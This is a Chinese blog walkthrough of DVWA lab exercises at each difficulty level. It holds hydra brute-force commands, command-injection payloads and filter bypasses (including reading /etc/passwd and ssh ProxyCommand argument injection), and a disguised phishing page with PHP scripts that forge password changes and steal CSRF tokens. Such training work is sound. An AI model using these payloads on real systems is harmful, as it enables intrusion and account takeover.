dvwa:暴力破解、命令注入、csrf全难度详解
暴力破解
easy模式 hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect." 添加登陆路径、用户名占位符、密码占位符、添加请求头、错误返回的字符串 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect." 登陆路径:/dvwa/vulnerabilities/brute/ 用户名和密码占位符:username=^USER^&password=^PASS^&Login=Login# 添加请求头:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e(注意冒号转位) 添加错误返回的字符串:Username and/or password incorrect. [80][http-get-form] host: 192.168.72.1 login: admin password: password
medium一样能爆破出,但会睡眠2秒high模式加了一个token,但是加了token跟不加token都能爆破出来 hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login&user_token=564d1b908f7b4a9e975d00bc707fab3e:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect." hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect." hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high;:Username and/or password incorrect."
impossible代码逻辑: 如果登录失败,更新数据库使得用户登录失败次数+1,如果登录失败次数超过3次,account_locked将为false,下次登陆时必须等待 15分钟才会将account_locked设置为true 但是就算等待了15分钟,代码并没有将登陆失败次数清零,所以一旦登陆失败一次,就直接锁住 注:impossible是post,其他难度都是get
命令注入
外部命令注入:
-
;
(分号):允许您按顺序执行多个命令。 -
&&
(AND):仅当第一个命令成功(返回零退出状态)时才执行第二个命令。 -
||
(或):仅当第一个命令失败(返回非零退出状态)时才执行第二个命令。 -
&
(后台):在后台执行命令,允许用户继续使用shell。 -
|
(管道):获取第一个命令的输出并将其用作第二个命令的输入。 -
这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果<
(重定向) :将后者输出重定向前者输入
payload: 127.0.0.1 & whoami 适用于linux(这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果): 127.0.0.1 < "`whoami`" 127.0.0.1 < "$(whoami)"
medium'&&' => '',';' => ''payload: 127.0.0.1 & whoami 127.0.0.1 | whoami 127.0.0.1 &;& whoami 适用于linux: 127.0.0.1 < "`whoami`" 127.0.0.1 < "$(whoami)"
high'&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '', "| "成为了黑名单,但是"|"去掉空格还能使用 payload: 127.0.0.1 |whoami
impossible 通过.将ip分开,判断分离的数量是否为4,且判断这4部分是否都是数字,这两个条件成立,才会执行ping命令
命令注入其他扩展
参数注入
当您只能将参数附加到现有命令时,即可获得命令执行权。
查询参数注入的网站:Argument Injection Vectors
-
chrome
chrome '--gpu-launcher="id>/tmp/foo"'
-
SSH
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
-
查询语言
psql -o'|id>/tmp/foo'
字符串内部命令注入
-
反引号
-
$()
-
payload1:
echo "`ip a`" echo "$(ip a)" payload2: 其他命令< "`whoami`"
空格替换
${IFS}替换 cat${IFS}flag.txt 重定向符号替换 cat</etc/passwd 127.0.0.1<"$(whoami)"
csrf
基本思路:构造一个html钓鱼网页,钓鱼网页上有访问dvwa网站修改密码的链接,但是我发现一个问题,就是如果钓鱼网页上直接就是:http://192.168.72.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#的话,我们只能操控get请求的数据,不能操控header的数据和post提交的数据,而且最大的问题在于被攻击的人点击这个链接,请求头里有:H=Cookie\: security=impossible; PHPSESSID=481b089a941d0aecc848227e2e90202e,也就是说默认就是困难难度而且网页get请求不能操控header修改不了难度,所以需要使用vps写一个php服务构造恶意请求并发送
easy
前端钓鱼代码
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
php伪造请求(csrf.php)
<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
// 输出 HTML 内容
echo $htmlContent;
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=easy',
);
// 初始化 cURL
$ch = curl_init();
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求
$response = curl_exec($ch);
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
// 关闭 cURL 资源
curl_close($ch);
?>
点击后:
同时修改密码成功
medium
需要简单配置:
-
phpstudy给网站个域名,如下图
-
linux攻击机器添加host头
vim /etc/hosts 192.168.72.1 www.oswe.com
为什么需要以上配置:
因为后端代码的判断 变量$_SERVER[ 'HTTP_REFERER' ]是否有$_SERVER[ 'SERVER_NAME' ],如果有,则说明当前修改密码的请求是从本网站跳转过来的,而不是从钓鱼网站跳转过来的, 而$_SERVER[ 'SERVER_NAME' ]这个变量实际上就是你的域名,为了能使我们的linux能解析到域名所以添加hosts头
源码的判断:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ){# 正常 } else{# 错误 } 其中 $_SERVER[ 'HTTP_REFERER' ] = 请求头里的referer $_SERVER[ 'SERVER_NAME' ] = 域名www.oswe.com 如果请求头的referer中存在域名www.oswe.com,执行正常功能
篡改请求头referer
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/' );
前端钓鱼代码
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
后端php伪造恶意请求代码(csrf.php)
<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
// 输出 HTML 内容
echo $htmlContent;
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
// 初始化 cURL
$ch = curl_init();
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求
$response = curl_exec($ch);
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
// 关闭 cURL 资源
curl_close($ch);
?>
hard
array_key_exists 函数 — 检查数组里是否有指定的键名或索引 数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。 主要检查提交的数据是否完整: if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) checkToken 函数 检测请求包的token和用户的会话token是否一致: if ($_SESSION[ 'session_token' ] === $_REQUEST["user_token"])
关于token
这里的token是一开始请求固定在html页面的表单里的,每一次的请求都会更新一次token的值,我们需要先劫持token然后再伪造请求,固定在表单里的token如下: <form action="#" method="GET">New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><br /><input type="submit" value="Change" name="Change"><input type='hidden' name='user_token' value='8a5cd4cae342ac86000a7abb1d65a5fa' /> </form>
思路:
-
构造恶意链接,链接向dvwa的high模式下的csrf页面请求两次
-
第一次请求是为了获取到固定在表单里的token
-
第二次请求是为了使用这个token来修改密码
-
前端钓鱼代码
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a><a href="http://192.168.72.1/dvwa/csrf_token.php">巫师3</a>
</body>
</html>
其中csrf.php是之前的没有token模式的恶意php请求 csrf_token.php是我们请求两次的恶意php请求
php恶意请求代码csrf_token.php
<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 初始化 cURL
$ch = curl_init();
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/';
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=high','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求并将结果保存到 $html 变量中
$html = curl_exec($ch);
// 创建一个 DOMDocument 对象并载入 HTML 内容
$dom = new DOMDocument();
@$dom->loadHTML($html);
// 获取所有的 input 标签
$inputElements = $dom->getElementsByTagName('input');
$userTokenValue = null;
// 遍历所有的 input 标签,查找 name 为 user_token 的元素
foreach ($inputElements as $element) {if ($element->getAttribute('name') === 'user_token') {// 输出 user_token 的值$userTokenValue = $element->getAttribute('value');break; // 找到后跳出循环}
}
if ($userTokenValue) {echo "使用了如下token修改密码:". $userTokenValue;
} else {echo "user_token not found";
}
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
// 输出 HTML 内容
echo $htmlContent;
// GET 数据
$get_data = array('password_new' => '8888','password_conf' => '8888','Change' => 'Change','user_token' => $userTokenValue
);
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求
$response = curl_exec($ch);
// 检查是否有错误发生
// if($response === false) {
// echo 'cURL error: ' . curl_error($ch);
// } else {
// // 打印响应
// echo $response;
// }
// 关闭 cURL 资源
curl_close($ch);
?>
这里点的是巫师3,但显示下载成功的是赛博朋克,是因为这个返回页面我懒得该,直接返回的字符串
impossible
修改密码前,输入当前密码来身份验证,导致csrf请求伪造无法获取用户凭据
相关文章:

dvwa:暴力破解、命令注入、csrf全难度详解
暴力破解 easy模式 hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username^USER^&…...

Java-学生管理系统[初阶]
这次我们来尝试使用Java实现一下"学生管理系统",顾名思义,就是实现一个能用来管理学生各种数据的系统。在后续学习中我们将对"学生管理系统"进行两种实现: 📚 学生管理系统[初阶](不带模拟登录系统) &#…...
微信小程序 详情图片预览功能实现详解
详情图片预览功能实现详解 在开发微信小程序时,我们经常需要实现点击商品图片进行全屏预览的功能。这不仅提升了用户体验,还允许用户进行保存图片、发送给朋友等操作。本文将详细介绍如何实现这一功能。 思路分析 当用户在商品详情页点击图片时&#…...

LeetCode 48 Rotate Image 解题思路和python代码
题目: You are given an n x n 2D matrix representing an image, rotate the image by 90 degrees (clockwise). You have to rotate the image in-place, which means you have to modify the input 2D matrix directly. DO NOT allocate another 2D matrix and …...

余承东直播论道智能驾驶:激光雷达不可或缺,华为ADS 3.0引领安全创新
华为余承东:激光雷达,智能驾驶安全性的关键 9月29日,华为消费者业务集团CEO余承东在一场引人注目的直播中,与知名主持人马东就智能驾驶技术的最新进展进行了深入交流。在这场直播中,余承东针对激光雷达在智能驾驶中的必要性问题,发表了明确且深刻的观点,引发了业界和公众…...

51WORLD携手浙江科技大学,打造智慧校园新标杆
当前,国家教育数字化战略行动扎实推进,高等教育数字化转型步伐加快。 紧抓数字教育发展战略机遇,浙江科技大学联合51WORLD、正方软件股份有限公司(简称:正方软件),共同研发打造浙科大孪生数智校…...

SAP SD学习笔记09 - 受注传票中的不完全Log 和 Business Partner(取引先机能)
好久没写SD了,今天继续写。 上一章讲了SD的如下知识 - SD的售前的流程(引合和見積(询价和报价)) - 数据流的概念,主要就是后传票可以参照前传票,以实现数据的流动,减少输入 - Co…...
【ROS2】里程计(odometry)数据计算、发布
1、里程计消息 1.1 Odometry消息 消息描述:nav_msgs::msg::Odometry 是ROS2中用发布里程计信息的消息,包括:线速度、角速度、位置和朝向 消息路径:/opt/ros/humble/share/nav_msgs/msg/Odometry.msg 消息内容: # 包含父ID std_msgs/Header header# 子ID,即姿势所在的坐…...
AcWing 187 导弹防御系统 暴搜
代码 #include <bits/stdc.h> #define int long long using namespace std;const int N 200010, mod 1e9 7;int n, m, k, x, y, z, ans, t, depth; int w[N], f[N]; int up[N], down[N];bool dfs(int depth, int u, int su, int sd) {if (su sd > depth) return …...

SpringSecurity(三)——自定义优化器
在SpringSecurity中,如果我们在认证或者授权的过程中出现了异常会被ExceptionTranslationFilter捕 获到。在ExceptionTranslationFilter中会去判断是认证失败还是授权失败出现的异常。 一、自定义验证异常类 创建exception包,在exception包下创建自定义…...

STM32通用定时器TIM3的PWM输出实验配置步骤
通用定时器 PWM 输出实验 本小节我们来学习使用通用定时器的 PWM 输出模式。 脉冲宽度调制(PWM),是英文“Pulse Width Modulation”的缩写,简称脉宽调制,是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术。我们可以让定时…...
device tree 预研
linux kernel 引入 dts 的背景 http://www.wowotech.net/linux_kenrel/why-dt.html 什么是 device tree device tree 是一种描述硬件资源的数据结构。device tree 可以描述的信息包括 cpu 的数量和类别、内存基地址和大小、clock 控制器和 clock 使用情况、外设基地址以及…...

英伟达股价分析:英伟达股价能否上涨到150美元,接下来该如何操作?
来源:猛兽财经 作者:猛兽财经 猛兽财经核心观点: (1)华尔街投行Oppenheimer已将英伟达的目标价上调到了150美元。 (2)产品方面的最新进展和合作伙伴关系进一步提升了英伟达的市场地位。 &…...

Rust 快速入门(一)
Rust安装信息解释 cargo:Rust的编译管理器、包管理器、通用工具。可以用Cargo启动新的项目,构建和运行程序,并管理代码所依赖的所有外部库。 Rustc:Rust的编译器。通常Cargo会替我们调用此编译器。 Rustdoc:是Rust的…...
java 程序在服务器出现时区错误问题(使用Date,LocalDateTime,ZonedDateTime都不正确)
排查 查询系统时区信息 timedatectl status打印java的时区信息 import java.util.TimeZone;public class CheckTimeZone {public static void main(String[] args) {TimeZone defaultTimeZone TimeZone.getDefault();System.out.println("Default TimeZone ID: "…...
Kotlin 语言的协程是什么?
目录 1. 什么是协程 2. 协程的基本概念 3. 如何使用协程 3.1. 引入依赖 3.2. 启动协程 3.3. 使用挂起函数 4. 结构化并发 5. 处理异常 6. 总结 Kotlin 的协程是一种轻量级的线程,可以用于简化异步编程。它允许你以顺序的方式编写异步代码,从而提…...

uniapp 游戏 - 使用 uniapp 实现的扫雷游戏
0. 思路 1. 效果图 2. 游戏规则 扫雷的规则很简单。盘面上有许多方格,方格中随机分布着一些雷。你的目标是避开雷,打开其他所有格子。一个非雷格中的数字表示其相邻 8 格子中的雷数,你可以利用这个信息推导出安全格和雷的位置。你可以用右键在你认为是雷的地方插旗(称为标…...
LeetCode组合总和
题目描述 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target ,找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 ,并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限制重复被…...

MATLAB - 机械臂手眼标定(眼在手内) - 估计安装在机器人上的移动相机的姿态
系列文章目录 前言 本示例展示了如何为装有手眼构型摄像头的机械臂或机械手执行和验证手眼校准。 一、概述 执行手眼校准有助于操作配备末端执行器(简称 “手”)的机械臂,该末端执行器依赖于摄像头提供的视觉数据。一旦完成了眼在手外的校准&…...

【Unity】TextMeshPro 3.0.9无法显示emoji表情问题
需要下载TextMeshPro 3.2.x-pre.xxx版本,重新生成Sprite Asset文件解决 注意:若Package Manager没有搜到pre版本,那么可以去github下载到本地,再解压后,将文件夹移动到工程Packages文件夹下,然后打开Packa…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案
随着新能源汽车的快速普及,充电桩作为核心配套设施,其安全性与可靠性备受关注。然而,在高温、高负荷运行环境下,充电桩的散热问题与消防安全隐患日益凸显,成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
CSS设置元素的宽度根据其内容自动调整
width: fit-content 是 CSS 中的一个属性值,用于设置元素的宽度根据其内容自动调整,确保宽度刚好容纳内容而不会超出。 效果对比 默认情况(width: auto): 块级元素(如 <div>)会占满父容器…...

mac:大模型系列测试
0 MAC 前几天经过学生优惠以及国补17K入手了mac studio,然后这两天亲自测试其模型行运用能力如何,是否支持微调、推理速度等能力。下面进入正文。 1 mac 与 unsloth 按照下面的进行安装以及测试,是可以跑通文章里面的代码。训练速度也是很快的。 注意…...
Python实现简单音频数据压缩与解压算法
Python实现简单音频数据压缩与解压算法 引言 在音频数据处理中,压缩算法是降低存储成本和传输效率的关键技术。Python作为一门灵活且功能强大的编程语言,提供了丰富的库和工具来实现音频数据的压缩与解压。本文将通过一个简单的音频数据压缩与解压算法…...